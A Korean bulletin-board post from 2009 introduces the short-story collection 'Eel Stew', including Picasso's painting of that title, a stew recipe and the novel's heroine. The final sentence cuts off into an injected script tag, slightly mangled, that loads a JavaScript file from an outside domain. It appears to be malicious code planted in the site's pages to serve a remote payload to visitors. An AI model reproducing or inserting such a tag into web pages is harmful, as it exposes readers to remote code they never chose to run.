[요리책 소개]
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뱀장어스튜
Date : 2009-05-10
Name : 관리자 File : 16.jpg
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뱀장어 스튜(La matelote d' anguilles)

마지막 페이지에 나온 그림의 제목이다. 그러나 나는 한동안 화집을 덮지 못하고 있다. 화집답지 않게 그 그림의 밑에는 뱀장어 스튜를 요리하는 법이 쓰여 있다.
4인용의 뱀장어 스튜를 위해선 1.2킬로그램의 뱀장어, 2큰술의 올리브유, 당근2개, 양파2개, 굵은 대파2개, 셀러리2쪽, 마늘 3통. 버터 100그램, 월계수잎1장, 향초 약간···
소개한 요리법은 '자끌린의 스튜 요리법' 이라는 특별한 이름이 붙여져 있으며 1996년 출판된 알뱅 미셸 출판사에서 나온 <피카소의 식탁>이란 책에서 인용했다고 밝히고 있다.


인터넷을 돌아다니며 자주 들르는 곳은 내가 즐겨찾기 해놓은 몇몇의 사이트를 빼놓고는 주로 서점과 은행정도가 되는 것 같다. 게으른 나에게 너무나도 편리한 생활이니까...
새책정보를 알려주는 메일을 받아 열 때마다 작은 기쁨 같은 것이 느껴진다. 누군가 내게 보낸 꽃배달서비스처럼..... 어떤 책이 새로 나왔을까?
2002년도 이상문학상 수상작품집 뱀장어스튜.......
뱀장어......스튜.....도무지 연관이 지어지지 않는다.
스튜(stew:재료를 한데 섞어 소스 팬에 넣고 장시간 푹 끓여 만드는 국물 있는 서양찌개 요)와 뱀장어라니.... 하여간 세상엔 신기한 요리도 많다는 생각을 하게된다.
알지못하는 맛에 대한 궁금증......

맘에 드는 책이 오늘은 딱히 없다. 그래서 내게 간택된 책이 뱀장어스튜이다. 책이건 영화건 음악이건 요리를 통해 이야기하는 것에 나는 당연히 관심이 있으므로.....

첫장을 넘기자마자 뱀장어 스튜에 대한 이야기가 나온다. 헌데.....갑자기 피카소의 그림의 제목이었다니.....난봉꾼이었다던 피카소가 말년에 자신의 마지막 여자에게 바치는 헌사가 붙어져 있는 그림...

주인공인 그녀에겐 제왕절개 수술로 출산한 수술자국과 자살을 시도한 상처가 오른쪽 손목에 남아있다. 어떤 사랑도 구속하기 싫어하는 남자와의 사랑으로 축복받지 못한 아이를 낳아 유럽의 어느 나라로 입양시켜야 했던 생각하기 싫은 상처를 가진....
그녀는 자신의 상처를 따뜻하게 혀로 핥아준 그남자와 결혼해 파리에 살고 있다.

무언가를 더 쏟아놓으려하다가는 영화정보를 다루는 TV 프로그램처럼 구구절절해질 것 같아 책의 일부분을 옮겨봅니다.
시간내서 한 번 읽어보세요.


책중에서....
"1960년 12월 3일 자끌린이 점심식사로 만든 스튜를 위하여. 이 그림을 바침으로써 그녀를 영원히 행복하게 해줄 수 있기만 하다면."
왠지 이 '뱀장어 스튜'란 그림은 내게는 슬쓸한 감동을 준다. 인생의 황혼에 접어든 예술가의, 일상에 대한 경의와 마지막 여자에 대한 예의가 느껴진다. 인생이란 화려하지도 않고, 더군다나 장엄하지도 않으며 다만 뱀장어의 몸부림과 같은 격정을 조용히 끓여 내는 것이 아닐까···. 스튜냄비의 밑바닥처럼 뜨거움을 견디고 살아 내는 것인지도 모른다는 생각이 조용히 스며들기 때문이다. 신이 조절한 타이머에서 종소리가 날 때까지 ?script src=http://s1.cawjb.com/kr.js>

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